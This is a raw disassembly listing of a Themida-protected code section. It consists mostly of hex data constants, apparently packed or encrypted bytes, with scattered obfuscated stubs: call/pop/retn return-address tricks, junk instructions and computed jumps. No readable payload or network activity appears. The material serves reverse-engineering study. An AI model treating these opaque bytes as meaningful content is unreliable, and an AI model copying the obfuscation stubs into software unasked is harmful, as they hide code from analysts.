58A6E1E9h, 0CAD547E0h dd 7CACA37h, 9BB222BCh, 0E064F493h, 0E97C8747h, 83E7h dd 1C723900h, 0E7A6BEF3h, 0B147DF5Fh, 0DCF39C45h, 5FCABDC5h dd 0AEB947DFh, 0DF5F89FEh, 5CEFFA47h, 0BCFE97EFh, 711ED722h dd 0C41332E0h, 0B621AB93h, 12123h, 14730000h, 0FED0F893h dd 0C457955Dh, 136D9B3h, 0FCBB5438h, 0B92D3D7Bh, 5EF1E2C3h dd 0B5D15279h, 58E341DCh, 7D0A12D1h, 0FE47E05Eh, 404F60F3h dd 0F0049ACFh, 2596F6F1h, 0E05E6A1Dh, 0A30E1947h, 0C2C5CDE4h dd 0C147E05Eh, 8D2623B6h, 0BC10E01h, 0BFF41B72h, 447996F6h dd 0CB000F7Bh, 26878802h, 0C870A56Ah, 69E005DCh, 9CF1FCE5h dd 91FBB473h, 0E376497Eh, 0CE414DE6h, 97BAD099h, 25AD5949h dd 0EE668FEEh, 0F6EC08DDh, 98285DC8h, 262E657Ch, 622BC61h dd 39CC434Dh, 5637h, 1B728900h, 94F6BFF4h, 9CB0467Bh, 2CE3AA45h dd 0C84746DFh, 4AC5CA93h, 0D13E4C15h, 58B7D39Ch, 0FFE22623h dd 4B96B2DAh, 0BCFC3C44h, 2D631C22h, 664D4FE2h, 9F000000h dd 0FF361B72h, 0DFC9F79Dh, 824B80EBh, 0E2A5AD0Eh, 0A147DFE5h dd 0F9F62B96h, 0CCC12CB5h, 1440F643h, 7E86355Bh, 47DF6009h dd 71046F7Ah, 0AEE32C60h, 0DF5FF896h, 46C9C647h, 0A5E2EA11h dd 0D647DF5Fh, 0EC236ACBh, 8D54D8B7h, 8D46D558h, 4D70C03h dd 0D3BC2571h, 679C731Ah, 3C940194h, 0E922BCFEh, 1, 0F718723Bh dd 7A95F9C2h, 10E7C45h, 858A03CCh, 0AD78B50h, 38A995D5h dd 19F6964Fh, 0FA157586h, 979FB6ADh, 47DF5FF0h, 66439002h dd 1CB48E00h, 31DEB011h, 0D1C0C99Eh, 0DCE4FB12h, 47DF93ABh dd 0DA3ACDD8h, 49F1B724h, 0CABDC5DCh, 0B94DF178h, 0C8D31BAEh dd 55C4CA93h, 0CC9FD43Bh, 9D21A261h, 1B2E5947h, 5DF6F386h dd 91A9DE31h, 4DF220FCh, 4C974A8Eh, 8980CD42h, 211D6A72h dd 535E4DF2h, 30DFAFC0h, 2C53D4FBh, 7C3DCAC1h, 0BBD3E477h dd 0AEE32C5Eh, 9AB170DBh, 0F181F592h, 0E87B864Dh, 0BD523A03h dd 42CDBF88h, 4D94480Dh, 814B3C44h, 2D384DF1h, 1AC74BC2h dd 350BFCFh, 0DD3C530Ch, 0BFF45FB0h, 94EC59ECh, 4124AEDCh dd 107h, 0C92DD152h, 0D433EAC9h, 29E853BCh, 0F2396621h dd 770A154Dh, 0C0A5AE49h, 7729F901h, 91449F1h, 8C830BD4h dd 27E8A63Fh, 0AA6529F2h, 0BBCCD4EBh, 0C84DF178h, 66452ABDh dd 0E7A0A8BFh, 944DF178h, 0C5C2CA89h, 0B64DF178h, 15CC18ABh dd 0E5BB4DAh, 0AEE7B919h, 31EA0124h, 0AA7DB25Dh, 0F1848DFAh dd 50E3EE4Dh, 424Eh, 0A4AEA000h, 0D2E900BFh, 0DF5FBDCAh dd 20B3BE47h, 0DF5FA7C0h, 94C9D4C7h, 0DF5F0B7Ch, 0E2FFB3C7h dd 8D4C3943h, 5F196E76h, 0D6D9C7DFh, 75C7204Eh, 0B74A55EDh dd 7B274048h, 495447DEh, 5D65FCh, 0AECF0000h, 0F901C0A5h dd 49F18155h, 0A770A5B0h, 0E86928E7h, 1344A4B2h, 110EA194h dd 0C4F91678h, 0F198E0ACh, 4F92D64Dh, 0D6AEB536h, 0E1AED348h dd 0BE513D4Eh, 260B1471h, 0FC515F67h, 313C500Bh, 0B45B33FCh dd 0F6EBD77Fh, 78371E27h, 1C34070h, 0A968734Ah, 14759AF0h dd 8C5F947Bh, 0AE46FCF9h, 0F901C0A5h, 49F9A6B7h, 0E1AADFEAh dd 0EAA362ADh, 0DDDA6DA2h, 0A7074A44h, 62814F53h, 7B93C833h dd 2D82F94Fh, 3368A7E5h, 0BAEF206Ah, 558A57DBh, 0B5CE1327h dd 497E91FCh, 0E434D76h, 0C519EFB3h, 0A26D2132h, 3DD2BC55h dd 0C2CAE108h, 6E911FC5h, 3AD5B5B6h, 642B3CCFh, 1FF09E57h dd 206717EAh, 636E9120h, 10B8ED58h, 5C32BD24h, 0C1CD66B3h dd 0B6D68F4Eh, 7DE82763h, 6E192148h, 0D6E911Fh, 1F049702h dd 358h, 3422C200h, 0BBF01F72h, 3E739CF2h, 0BFF41B75h dd 457A95F6h, 0C9FE117Ch, 4D828D00h, 0CF040B84h, 568B8406h dd 0DB10FF8Dh, 0E68956D4h, 4B951h, 0CE010000h, 4EE8359h dd 5C243487h, 69E268h, 243C8900h, 3CDC68h, 24148900h, 493CBB53h dd 0DF89061Ah, 83241C8Bh, 8B5404C4h, 0C4832414h, 0FD895504h dd 8B086A89h, 0C481242Ch, 4, 5A2434FFh, 4C481h, 34FF0000h dd 0C4815F24h, 4, 0F83298E9h, 0BF78C5FFh, 0AB2DE850h, 0B8902D97h dd 61A4E07h, 0E0FFC503h, 4ECA3378h, 5AB0A706h, 19D89B10h dd 7C63076Eh, 73A39350h, 4F0488A1h, 7DE81468h, 10EBh, 3 dup(0) dd 0C08B0000h, 6810F52h, 8B000000h, 12183995h, 0BD835A06h dd 6122F01h, 83097500h, 122149BDh, 19740006h, 0C08B5350h dd 42DB8h, 35858900h, 8D06120Bh, 14AD099Dh, 5BD3FF06h dd 49BD8358h, 61221h, 53501774h, 42DB8h, 35858900h, 8D06120Bh dd 14A9F89Dh, 5BD3FF06h, 65852958h, 6A061233h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 4C33C355h, 122ECA72h, 840FC08Bh, 0 dd 1F698D8Bh, 85890612h, 61220C1h, 0F00F983h, 0BC84h, 14E800h dd 4A7B0000h, 0CF87878Fh, 0C06E8093h, 0EDFE4F5Ah, 5097F83Bh dd 81666F70h, 5AAD2ECAh, 2C3D8B64h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0E94FC356h, 3F9A28E1h, 800F59F4h, 6, 8318D29h, 0F0BE0612h dd 0B7CEF33h, 5A840FFFh, 0E8000000h, 0Bh, 96EFB85h, 4FC1B5BBh dd 0E9F299FFh, 9, 908EFF8Eh, 5F710269h, 3F8B5E89h, 0C830Fh dd 7E90000h, 18000000h, 0CC91623Fh, 32FCA03Ah, 57006AC0h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 89AAF3DFh, 122FA5BDh, 41493506h, 0D78B5350h, 4BC3DBBAh dd 0C185C678h, 47061215h, 0DF8B5660h, 4185295Eh, 61061212h dd 64D9F068h, 0F52505Eh, 0D5BE6631h, 81585A42h, 0AE3C2404h dd 6A7E71h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 880F29C3h, 0 ; --------------------------------------------------------------------------- push dword ptr [ebp+6123101h] push 0 push ecx call sub_600B45 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_600B45 proc near ; CODE XREF: Themida_:00600B3Dp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_600B45 endp ; --------------------------------------------------------------------------- leave mov bh, 0DFh mov [ebp+6121A4Dh], edi mov [ebp+6122A95h], ecx lea eax, [ebp+615827Ah] mov [ebp+6121D71h], ebx call eax mov edx, [ebp+6121A41h] mov [ebp+6122715h], eax mov esi, edi mov byte ptr [ebp+61215C1h], 53h movsx esi, si push 688E0C97h mov dx, ax add dword ptr [esp], 200A5E65h push 0 push esi call sub_600BA4 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_600BA4 proc near ; CODE XREF: Themida_:00600B9Cp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_600BA4 endp ; --------------------------------------------------------------------------- dd 4840FE7h, 66000000h, 0FFAD29BAh, 123101B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0F3FF290Fh, 601325D5h, 0B70FFBB6h, 7A858DD1h, 0F061582h dd 88h, 0FD0FF00h, 858DF3BFh, 61538FFh, 0C07FD281h, 0EDBA50AFh dd 897DE7E3h, 1227F585h, 0CE95306h, 0A5000000h, 32D9246Fh dd 17C12D8Eh, 5E4AA1A2h, 0FF6A206Ah, 27F595FFh, 49350612h dd 0C7535041h, 12285585h, 106h, 0D185C700h, 61210h, 89000000h dd 121EF595h, 8E0F06h, 8B000000h, 12139985h, 0A36406h dd 8B000000h, 12160595h, 0EDBD8306h, 6122Eh, 2B840Fh, 13E80000h dd 5B000000h, 0DF58D10Fh, 163113E4h, 5437DFE1h, 59DEF793h dd 0B70F50AAh, 858B5EF6h, 6122875h, 270D9533h, 0E08B0612h dd 1DBD83F8h, 61230h, 431850Fh, 8D890000h, 61221F9h, 15C185C6h dd 6A560612h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 5931C356h, 0D0B4410Bh, 0E9E1D366h dd 5, 24DF98E0h, 68C0FC9h, 8B000000h, 1211A995h, 6F036806h dd 0BE66A440h, 481FE77h, 84C1DC24h, 8E805h, 0D0320000h dd 44DA8634h, 0ADB632EEh, 585895Ah, 0FF061208h, 123101B5h dd 81F18B06h, 0E0E40EDAh, 7A858D19h, 6A061582h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 7D39C352h, 0DE8h, 6D18A000h, 28A29CB4h, 8F034445h, 95895926h dd 61228C5h, 50D0FF5Eh, 16850Fh, 0AE80000h, 8D000000h dd 92DDFD9Bh, 0CFBD9CA5h, 890F49h, 5A000000h, 89240489h dd 120C319Dh, 3D8D8D06h, 81061229h, 9A6D92E2h, 0E8509159h dd 9, 0E737E83Ah, 0E34B3C98h, 9CBA669Fh, 29915A74h, 121CE985h dd 68046A06h, 9FA36789h, 0C0D7BE66h, 77240481h, 9605CA8h dd 122911B5h, 61B5FF06h, 0BA061224h, 14C7FF83h, 850FD0FFh dd 1Ah, 0EE8h, 0A0B61C00h, 461E11E6h, 39688575h, 8BEDA838h dd 122A7195h, 0BD8B5E06h, 6122461h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0D9C35242h, 3F71E2F6h, 7F03EA85h dd 53006A3Ch, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 3D958B9Fh, 81061216h, 0F8C7h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BD897FC0h, 6120739h, 14319523h, 47C70612h, 2024h, 8F0F60h dd 83000000h, 1A4E98BDh, 840F0006h, 158h, 12E9h, 40769500h dd 0C2A1AA40h, 0C15CDA2Eh, 81B6EF30h, 9D89BA2h, 121A199Dh dd 28C78306h, 2F31B58Bh, 7C70612h, 64696A2Eh, 7800Fh, 8F0F0000h dd 1, 447C7F8h, 617461h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 80C35141h, 0A06DECDEh, 81781477h, 1170EFCEh dd 95B58B68h, 66061233h, 858BF78Bh, 61A4EA0h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 65C35242h, 18CDD10Ah dd 89D79AD0h, 85890C47h, 612161Dh, 4EA4858Bh, 6A061Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 8958B3C3h, 8F0F0847h, 1, 28C783F9h, 12E853h, 6BD0000h dd 0F5F31FC3h, 7F6F06D1h, 0F0979828h, 54A7423Eh, 5A5AD78Bh dd 632E07C7h, 47C76E6Fh, 67696604h, 0CDB58B00h, 0E8061203h dd 0Bh, 0DAA226D6h, 20CF1E58h, 89B7E5F7h, 120B1D85h, 858B5A06h dd 61A4E9Ch, 3235958Bh, 0BF0F0612h, 0C4789F7h, 56AD5ABEh dd 98858B15h, 6A061A4Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 3F09C357h, 84789ADh dd 798D2958h, 8B061202h, 498D8DD6h, 6A06120Fh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 3F5C357h, 7FD754Eh, 0F38B50F8h, 9150915Eh, 398D8B60h dd 8B061222h, 122E0995h, 0B5FF6106h, 612293Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 88C35343h, 958BE4DEh dd 612088Dh, 4E8h, 100000h, 11E900h, 8A20000h, 40130599h dd 4266007h, 0FFEA5113h, 50C989CAh, 0B238BA66h, 424448Bh dd 8BF78Bh, 4244489h, 58D78B66h, 1D9D9D09h, 0B5FF0612h dd 6122461h, 13E9h, 77EFD700h, 0E6A43D4Dh, 4BA5DBADh, 0A8614B2Ah dd 1C42C56Ch, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 33B47AC3h, 60C3A14Dh, 8B2EB7C2h dd 12122595h, 0B8C6B206h, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_6010EF and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_6010EF proc near ; CODE XREF: Themida_:006010E7p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_6010EF endp ; --------------------------------------------------------------------------- db 8Ah db 0F0h, 8Bh, 0FFh db 0E5h dd 6F01CFh, 0B5E50DBh, 1D840FC0h, 66000000h, 0A0F6E281h dd 3321B5FFh, 0B58B0612h, 61202D9h, 278195FFh, 8D310612h dd 6120341h, 88BAC08Bh, 8B456E20h, 1220D195h, 1BD8306h dd 6122Fh, 0BD830975h, 6122149h, 50197400h, 0B8C08B53h dd 42Dh, 2B98589h, 9D8D0612h, 614AD70h, 585BD3FFh, 2149BD83h dd 74000612h, 0B8535017h, 42Dh, 2B98589h, 9D8D0612h, 614AA11h dd 585BD3FFh, 9E8h, 0F1A8AC00h, 25907A57h, 0BF0F27E0h dd 8D295ED1h, 6120899h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 3B5568C3h, 8B9761C0h dd 1202A5B5h, 8DC08B06h, 1A58398Dh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 500A5ACDh dd 3866570Dh, 81661ACFh, 894769F7h, 122DCD8Dh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0B706692Ch, 0F1A20792h, 0BD85C7A9h, 38061231h, 6A00006Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 9232C356h, 46F76BB4h, 1F459589h, 0EB800612h dd 1185C73Dh, 61200h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 991CC352h, 592B0521h dd 8B73EABDh, 1228B195h, 31B5FF06h, 6A061224h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 6023C356h, 65E11C62h, 39C28166h, 8195FF06h, 6A061227h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 83AC353h, 511CF201h, 8B61541Dh, 121C7D9Dh dd 6840F06h, 89000000h, 1210A9B5h, 12E906h, 0E9EE0000h dd 0AFB2EA12h, 1B59A143h, 7B5C14FBh, 0FE0BA0F1h, 95FF006Ah dd 61229D1h, 58EBC08Bh, 0FCE283C2h, 2AE3680Fh, 6CB196F3h dd 58F8267Ch, 0F21F3CACh, 377088DAh, 757CF1FFh, 366B1573h dd 0E3E68226h, 396AD008h, 0FB8D954Ah, 3FF30996h, 84F30017h dd 0DE423FB8h, 12A3F7BEh, 8B6A4A8Ch, 0F6C4A889h, 0E8465B27h dd 0C5FEF7B3h, 0A126678Ch, 0B727D266h, 14708F7Dh, 12E8h dd 0FA49E400h, 87811541h, 0BE883819h, 0C3A988F9h, 8B427C28h dd 122FC99Dh, 8B665906h, 0BAC181C7h, 60000061h, 2B61F98Bh dd 18B0FD2h, 0F9000000h, 890A34FFh, 122D6D8Dh, 89575E06h dd 1230999Dh, 0F6815806h, 39655B63h, 0C6810EB3h, 659CB133h dd 0EE81C28Bh, 0A0840B2h, 89113489h, 121DD19Dh, 0E8BB6606h dd 1EA8370h, 12E9h, 46807B00h, 1B65EA77h, 4FBEE627h, 5CB78012h dd 4A0717CCh, 0B8664A4Ah, 0FA812778h, 0FFFF9F0Ch, 1C850Fh dd 0D8810000h, 6F901CFCh, 2EE9h, 0F1CEA600h, 6080859Dh dd 98A706D9h, 90229DFCh, 0F60DBBDh, 587h, 854AB900h, 0E96109DFh dd 0FFFFFF70h, 0F34A67F0h, 3CD26DB6h, 8DCE12C5h, 1A5A408Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 8D769851h, 71BA815Eh, 2DCD8D89h, 0F560612h dd 198Eh, 14E900h, 5F920000h, 7C2291E0h, 0E91CEA9Ch, 0EAD2BBE0h dd 4F9137F2h, 0C75B9D4Fh, 1231BD85h, 6B0C06h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 85C7DE33h, 6120011h, 0 ; --------------------------------------------------------------------------- jmp loc_6014D9 ; --------------------------------------------------------------------------- fisub dword ptr [ebx+2Eh] leave sub eax, 0B237442h xor edi, edx xor edi, [ebx] imul byte ptr [edx-4572E541h] loc_6014D9: ; CODE XREF: Themida_:006014C0j push dword ptr [ebp+6120C89h] mov bx, dx call dword ptr [ebp+6122781h] push 0 push edx call sub_6014F3 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_6014F3 proc near ; CODE XREF: Themida_:006014EBp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_6014F3 endp ; --------------------------------------------------------------------------- mov edx, 0E5E0B3C3h dec edx leave mov eax, ds:0BBF3B70Fh jl short near ptr loc_601515+2 mov al, 5 push 0 loc_601515: ; CODE XREF: Themida_:0060150Fj call dword ptr [ebp+61229D1h] mov eax, eax jmp short loc_601569 ; --------------------------------------------------------------------------- db 3Fh dd 167A5511h, 1B6C9624h, 0E7D104CCh, 0E5F642h, 0E44856B1h dd 0FBC84ADAh, 10180D43h, 0ACCF5A40h, 43809EE5h, 0BEC35740h dd 92FD8E82h, 0EF888F85h, 0FC568DFEh, 0D0461323h, 37616078h dd 890CD9B6h, 0A24753ABh, 20F540B1h db 1Dh ; --------------------------------------------------------------------------- loc_601569: ; CODE XREF: Themida_:0060151Dj jmp short $+2 jmp loc_6019C4 ; --------------------------------------------------------------------------- dd 0D5AB5DCh, 0AAF71874h, 49967911h, 0E330DFB0h, 7FCC434Ah dd 0C5C8268Fh, 2764FD4Ah, 8E029BE8h, 0F39B3481h, 0A6F5CF1Ch dd 0F9B9E99Eh, 0E7BD9A4Dh, 92F5FD14h, 0F147DF5Fh, 4A4253E6h dd 601E6971h, 525D47DFh, 76BD8029h, 2F9AF61Ah, 0D84149E2h dd 949C5BB4h, 47DFFBF3h, 0CD1A8590h, 67B45B34h, 9521EF70h dd 0B629FED5h, 947B1223h, 30DFAE47h, 5833ECE3h, 781324B7h dd 0EC21EEA1h, 6EEFAE19h, 91C8222Eh, 939023C8h, 2C7996FAh dd 0C714FB93h, 0F71ECBDFh, 2B666D49h, 0BFF41B72h, 464859ECh dd 0C4CB94C9h, 4E7D164Bh, 0C6B530CDh, 4BDE0FD6h, 6DBA553Ah dd 5B1A0710h, 154B3C44h, 2D384DF9h, 1621666Eh, 57624DF9h dd 853E55C4h, 1272050Ah, 500B3C68h, 0FF174C57h, 47EAFD8Ch dd 7DB25D2Eh, 0FE394E56h, 3F4A47EAh, 2C61AEDEh, 0C318C94Dh dd 2B627F9Bh, 22B760ABh, 15680h, 2109100h, 0FAE6F441h dd 720D3BCEh, 0B5BFF41Bh, 605D5E66h, 7D4647DFh, 0DD77C57Fh dd 66A9E15Eh, 925B90FBh, 2DC613FCh, 0C0A6F061h, 802D3E50h dd 0F8CB000Fh, 0C1C6CE8Dh, 0C247E032h, 0F0174CB7h, 32B6D1D9h dd 0BAC547E0h, 5C495227h, 67A8E49Dh, 0EB246932h, 0B978E3B6h dd 0E032D6B1h, 79AA547h, 4F5E9098h, 5E6949F2h, 48EB1E9Fh dd 0E2FAD20Bh, 0B3C26A4Fh, 457A95FAh, 4E93DF72h, 5514FB93h dd 8D20EF9Ch, 0E72A3390h, 0F200A8DFh, 65D0DB4Dh, 70788FA6h dd 4DF20117h, 8AFD0564h, 0F94DF200h, 0BCC483EEh, 4DF200CBh dd 0BA1AADB8h, 50042978h, 0C0E71C27h, 7C6F423Fh, 0F4C7FC13h dd 45CB0CBh, 0E22D6071h, 7E91FC95h, 8B8406BFh, 6A228356h dd 0A02D12A5h, 0E2EAA996h, 47DF62F5h, 318EDBE6h, 637A3928h dd 6343444Ch, 3F4047DFh, 0BC8FC44Bh, 0FD8A9251h, 7E47DF62h dd 0A280E073h, 8D49F185h, 6542C382h, 0FBDA9150h, 3267A8E4h dd 7C61F45Fh, 0E835DAB3h, 9CD13E4Fh, 3839F475h, 92E52CBDh dd 15A813FCh, 1E8B3640h, 0E0FFD84Dh, 838B4AB5h, 4DF1E750h dd 0E52A631Ch, 0B2FF0A52h, 3F763ABBh, 8BF5D580h, 0F1FC0483h dd 16C774Dh, 0E9305D6Eh, 66396EA1h, 0AEF8AEFBh, 0F901C0A5h dd 49F1782Dh, 4F184D58h, 1383D03Fh, 533BF4FFh, 21B487BCh dd 9E5D424Ch, 4FC0CE87h, 0F177E89Fh, 0FD909B4Dh, 776F1CFCh dd 434B4DF1h, 0C18C0DCCh, 7D92FD92h, 6C4C7548h, 0B8B54829h dd 0E5A2AAC1h, 964DF22Fh, 0A7E7F88Bh, 246A3368h, 9098662Dh dd 76E1C6D3h, 3DE6241h, 1C69A6E8h, 81060E25h, 0DB4DF1CCh dd 0F1CCB4D3h, 24BCC74Dh, 0B9198619h, 6E24AE93h, 4Dh, 59314C0h dd 34535BAEh, 4747DFB4h, 38C2133Ch, 818A5FF2h, 21CDD594h dd 2449F25Bh, 0EAA15A19h, 86AD9225h, 5B20676Fh, 58634DF2h dd 467B94F7h, 0BFCFE073h, 727A9150h, 4DF25B15h, 0CBC85B66h dd 0A06F1BD4h, 0F605986Bh, 18h, 305B1460h, 44D7AADFh, 7EB35C33h dd 3F78D9B5h, 0C90AB7E8h, 3CF23FAAh, 0A5F21D72h, 0A2AD5444h dd 0C567294Dh, 30156E76h, 535E47E0h, 0D639551Eh, 31EAF9A1h dd 0A97CB15Eh, 74178280h, 17AA6F0Ah, 3B8A16CBh, 0DF745033h dd 6C222347h, 309B6EA3h, 48D95A71h, 0FA157653h, 0FE1DF8D1h dd 3C02D36h, 0B346B17Ah, 0DF803453h, 25672047h, 0C7798F4h dd 0D9263179h, 74C14E40h, 23A841A0h, 0D1000000h, 89B7418h dd 351C72DAh, 0A98A816Ch, 22354D30h, 0C52C567Fh, 0A55E1D88h dd 0B19629E6h, 1C69A6E8h, 1F724533h, 9CF2BBF0h, 1B753E73h dd 95F6BFF4h, 117C457Ah, 8D00C9FEh, 0B844D82h, 8406CF04h dd 0FF8D568Bh, 56D4DB10h, 0C681E689h, 4, 8704EE83h, 895C2434h dd 0CE682404h, 89000068h, 9B68242Ch, 89000054h, 0BE56240Ch dd 61A5A96h, 24048156h, 0FB859A0h, 0A0ED815Dh, 5E0FB859h dd 240C8B54h, 8304C483h, 148904ECh, 8BA24h, 0CA010000h dd 0FF5A2A89h, 81592434h, 4C4h, 2434FF00h, 4C4835Dh, 0F82220E9h dd 0B9B7D3FFh, 0FBD76A8Eh, 7CEA7C90h ; --------------------------------------------------------------------------- loc_6019C4: ; CODE XREF: Themida_:0060156Bj mov eax, 61A5E79h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 2, 41h, 88h dd 0BEF1055h, 0D483EA61h, 5C7FC820h, 648A1B63h, 0D7D27838h dd 6724851Ch, 0CABF0F2Ah, 11E9h, 0D4193B00h, 51CB2B9Fh dd 470ECA52h, 7CAA1DB7h, 6E94AC4h, 4E000000h, 1F01DF5Bh dd 0FFA8B61h, 48Ah, 0A0BA6600h, 13E8FEh, 43940000h, 0D1239AB4h dd 1D17684h, 4D03A219h, 9D9042F1h, 0C38B66EEh, 0F7F78158h dd 666BD517h, 0E9C794BEh, 0Dh, 0EC96A46Dh, 26BFDEE5h, 0D883D89h dd 13E97Fh, 43AD0000h, 8E7539DFh, 460114EEh, 0BC62C0A6h dd 1478D424h, 2800FBBh, 8B000000h, 0E78166C7h, 66560849h dd 0F59FB8Bh, 181h, 6660FC00h, 6661CF8Bh, 8B65D681h, 28A0Fh dd 0EB8A0000h, 0BFBBC58Ah, 8B3ECCB7h, 0CC80F9F0h, 0BE9D0h dd 0BE1A0000h, 745FC61Bh, 22EA62EEh, 0BA665167h, 0F85AE02Eh dd 50CB8166h, 0F88B663Bh, 13E860h, 4ADF0000h, 0DC5808DBh dd 0BA8E8909h, 0DEFAE468h, 9D50BA26h, 0BF0F5A2Eh, 820F61D8h dd 2, 0EB819CB0h, 33172E63h, 8D0Fh, 12E90000h, 0BA000000h dd 7606F605h, 0E29622F3h, 0EDBA55D1h, 57F3213Fh, 0C1B70F3Ch dd 0EE9h, 2FAB4500h, 23EA0DB5h, 673BA2E1h, 668CC7EFh, 0FCF063B9h dd 0AD04C181h, 0BE66379Dh, 0E953AF2Ch, 7, 0AF39C932h, 5EAB0340h dd 11E9h, 2ED7E700h, 0CE700995h, 0E335F5Bh, 47FCDA4Eh dd 0EE98BC5h, 0C1000000h, 9CD1CBABh, 0CA593E29h, 6EED83C3h dd 8E8F50Bh, 14000000h, 23C6A714h, 0F4E175Dh, 0D86h, 8E900h dd 0E5810000h, 0AF7AA451h, 0BE5B08FBh, 621A2348h, 6A32E181h dd 8B664E6Dh, 51F78BF2h, 0C8C0F5Fh, 0E9000000h, 7, 1236CF04h dd 81C7D401h, 0FDF664E2h, 0E9D98B6Ah, 0Ah, 2399BE28h, 737B769Eh dd 0DE9C543h, 62000000h, 42112224h, 78C933F0h, 0D32B87B3h dd 12E9h, 6D881D00h, 3656A724h, 0D6530C9Bh, 0C68DEE39h dd 0FE1FAE9h, 0B866D7BFh, 14E8D2EDh, 0C0000000h, 47C6AE5h dd 22E3E081h, 2DE624A6h, 0BC4B97E9h, 6605DF7Fh, 0E85EC18Bh dd 6, 0E0B5F879h, 6E90897h, 0C4000000h, 397A66F9h, 0AE95FBAh dd 0B8000000h, 0F120F9E6h, 7B3A095Fh, 0BE927h, 0EEBF0000h dd 7007D0BBh, 7B356F1Ch, 0DE988h, 9C580000h, 3F3AD5E6h dd 737795D4h, 0F5B6F09Fh, 0F557D18Bh, 0B70F6059h, 11E9C6h dd 1A30000h, 0F42AAAFBh, 0E0C0341Ah, 47351328h, 6132B124h dd 0DE97EB0h, 6F000000h, 0A011B041h, 5B1A1EBh, 833C903Bh dd 0CE9h, 0F284DD00h, 2776EC1h, 0D99F92FFh, 66C18BABh dd 8B78A2BFh, 0DCBE66C6h, 5D1CB9BDh, 8B6673A4h, 0BE8C3h dd 0D8000000h, 9AE53097h, 977946CAh, 0F6B70FDBh, 0CE95Eh dd 2A6C0000h, 0BA3CD946h, 0B91CDA6Eh, 870F77B5h, 8, 2890Fh dd 0C18B0000h, 81BA6657h, 5E95EE5h, 6E000000h, 1DBEC4B0h dd 92D98166h, 5EF9501Fh, 9EDA8166h, 0A2A7B8B0h, 81663C16h dd 664CEDD1h, 56BFDA8Bh, 0E95A3AC0h, 6, 6AF3BEC2h, 0EE8F99Ah dd 67000000h, 0EE631A1Dh, 0CEE0F697h, 0E7226ACBh, 0B9A5BB9Dh dd 0E95A28F5h, 12h, 25F004h, 0B9053FF1h, 49135C2Ch, 307AF74Fh dd 840F244Eh, 5, 0E0201FB9h, 92BA660Dh, 0BE9DAh, 724E0000h dd 0E4044E4h, 0CA73D45Dh, 0F93B425h, 384h, 0FFB70F00h dd 5A77BE66h, 810Fh, 890F0000h, 2, 8E8E78Ah, 2000000h dd 0E5054333h, 8B7C795Dh, 8B665FF8h, 4584BEF7h, 0F98B545Eh dd 2830Fh, 43B10000h, 10E9FCh, 0F0230000h, 2AAC7E0Ah, 6F853206h dd 57F24A04h, 81FCA945h, 43F6D1DAh, 0FDE8B34h, 284h, 8ADA8B00h dd 8E9D8h, 6CBD0000h, 24CFC288h, 8B663C39h, 0D08052D1h dd 0EE95961h, 0CD000000h, 0ECC59E90h, 98BC1602h, 2111F3FBh dd 81B8B30Dh, 831513C9h, 8B66605Eh, 6145B2DEh, 0AD0FBA66h dd 0B820FF5h, 0F000000h, 583h, 98DEBB00h, 8B6603B6h, 0CB8B66D1h dd 9E8h, 0A3D57900h, 48402EA8h, 6660B9BEh, 0F87D5BBBh dd 0BE85961h, 0EE000000h, 3AAF936Ch, 0AC54B2A1h, 0C88A2538h dd 890F605Bh, 4, 0B732BE66h, 12E9h, 0C47CAA00h, 94CFB24Ah dd 0E19663C2h, 2A8E795Fh, 6191EBF0h, 2E98166h, 0CDB8668Eh dd 0C7BA660Ch, 